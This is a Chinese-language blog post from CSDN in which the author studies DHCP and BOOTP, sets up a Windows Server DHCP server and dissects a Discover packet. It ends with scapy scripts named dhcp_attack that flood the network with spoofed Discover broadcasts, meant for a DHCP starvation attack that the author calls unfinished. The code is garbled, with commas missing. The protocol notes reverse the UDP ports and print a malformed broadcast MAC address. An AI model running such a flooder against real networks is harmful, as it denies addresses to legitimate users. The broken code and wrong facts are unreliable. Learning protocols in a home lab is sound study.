简述dhcp工作过程及报文交互过程(记录一次DHCP协议的学习过程)
简述dhcp工作过程及报文交互过程(记录一次DHCP协议的学习过程)1 设置子网掩码选项。options号 options作用两者关系DHCP 是BOOTP 的增强版本都是基于TCP/IP协议的协议。BOOTP只用于无盘工作站,DHCP 即可用于无盘站也可用于一般的网络应用。DHCP常见options类型
DHCP
动态主机设置协议(Dynamic Host Configuration Protocol,缩写:DHCP)是一个局域网的网络协议,使用UDP协议工作。
BOOTP
BOOTP(Bootstrap Protocol,引导程序协议)是一种引导协议,基于IP/UDP协议,也称自举协议,是DHCP协议的前身。
两者关系
DHCP 是BOOTP 的增强版本都是基于TCP/IP协议的协议。BOOTP只用于无盘工作站,DHCP 即可用于无盘站也可用于一般的网络应用。
DHCP常见options类型
options号 options作用
1 设置子网掩码选项。
3 设置网关地址选项。
6 设置DNS服务器地址选项。
50 设置请求IP选项。
52 设置Option附加选项。
53 设置DHCP消息类型。
BOOTP报文字段
op:操作码/消息类型,取值为1或2:
1= BOOTREQUEST (引导请求)
2 = BOOTREPLY (引导应答)
xid: 事务ID,一个随机数,用来匹配引用请求和应答。
Chaddr: Client hardware address,客户端硬件地址,由客户端填写。
option:选项字段
关闭自己家中路由器的dhcp服务
使用windows server2008 搭建本次学习所使用的dhcp服务器
1. 搭建dhcp服务器首先需要做的就是将自己的ip地址设置为静态
2.打开服务器管理器添加角色
3.勾选dhcp服务,下一步
4.这里可以看到一个要求就是必须在此计算机设置一个静态ip地址,前面设置过了,下一步
5.将此静态ip地址作为dhcp服务器的地址
6.dns服务器地址自己看看着来填,填完可以点右边验证一下是否可用
7.这里选择不需要,然后下一步
8.添加一个作用域,名字随便范围给了200-250,网关为当前所在网关,下一步
9.这里选择禁用ipv6,下一步
10.确认无误,开始安装
安装完成后打开虚拟机win7,尝试自动获取地址
获取到的地址就是dhcp地址池的范围,打开dhcp服务器查看地址池租用,可以看到192.168.3203这个地址正在租用,也就说明服务器搭建完成
分析下图dhcp请求包,来获取后续需要的参数
dhcp服务器:192.168.3.51
dhcp地址池:192.168.3.200-250
从图中得知一个完成的DHCP
Discover数据包是由Ether/IP/UDP/DHCP构成的
链路层Ether:
1
Src:本机mac地址
1
Dst:ff:ff:ff:ff:ff:ff:ff:ff 即为广播地址
1
网络层IP:
1
Src:0.0.0.0*
1
Dst:255.255.255.255
1
IP层只是将上一层的mac地址转换成ip地址
传输层UDP:
1
Src port:67
1
Dst port:68
1
67/68端口分别是为bootp服务开放的端口,通常用来请求ip,dhcp服务使用67端口作为源端口,68端口作为目的端口来广播信息
应用层DHCP:
1
client address:本机mac地址
1
xid :随机值
1
options:53 Discover
1
得到所有参数后打开scapy测试是否可行
dhcp_attack = (Ether()/IP()/UDP()/BOOTP()/DHCP())
dhcp_attack[Ether].src = RandMAC() #给Ether的src设置随机mac
dhcp_attack[Ether].dst = 'ff:ff:ff:ff:ff:ff' #给Ether的dst设置为广播
dhcp_attack[IP].src = '0.0.0.0'
dhcp_attack[IP].dst = '255.255.255.255'
dhcp_attack[UDP].sport = 68
dhcp_attack[UDP].dport = 67
dhcp_attack[BOOTP].chaddr = RandMAC() #给BOOTP协议中的chaddr字段设置随机mac
dhcp_attack[BOOTP].xid = 14513 #xid为随机值,随便给
dhcp_attack[BOOTP].flags = 0x8000
dhcp_attack[DHCP].options = [('message-type' 'discover')] #给DHCP协议的options设置为discover
> Dhcp_attack.show() #确认参数是否无误
> 打开wireshare在后台抓包
> sendp(dhcp_attack) #没有问题后就发送数据包
> Wireshare筛选栏为 dhcp and ip.dst eq 255.255.255.255
就可以看到刚刚发送的数据包了,且第二个还包含的dhcp服务器返回的ip地址
用python达到自动构建发送dhcp_discover数据包的功能
#!/usr/bin/python
from scapy.all import *
import random
def dhcp_attack():
random_xid = random.randint(1 1000000)
random_mac = str(RandMAC())
i = 1
while i > 0 :
dhcp_attack = (Ether()/IP()/UDP()/BOOTP()/DHCP())
dhcp_attack[Ether].src = random_mac
dhcp_attack[Ether].dst = 'ff:ff:ff:ff:ff:ff'
dhcp_attack[IP].src = '0.0.0.0'
dhcp_attack[IP].dst = '255.255.255.255'
dhcp_attack[UDP].sport = 68
dhcp_attack[UDP].dport = 67
dhcp_attack[BOOTP].chaddr = random_mac
dhcp_attack[BOOTP].xid = random_xid
dhcp_attack[BOOTP].flags = 0x8000
dhcp_attack[DHCP].options = [('message-type' 'discover')]
try:
sendp(dhcp_attack verbose=0)
i = 1
print ("sending dhcp_discover packet:%s Ctrl Z stop"%i)
except:
print ("sending error")
dhcp_attack()
运行效果
本是想写一个dhcp攻击的过程的,将dhcp地址池的地址全部占用。
一次完整的dhcp过程包括,请求,响应,确认,
但折腾了一天也写不出确认包,没有确认包就无法拿到服务器分配的地址,先放着把,等有头绪再写。
————————————————
版权声明:本文为CSDN博主「猪儿虫鸭」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44344395/java/article/details/104601004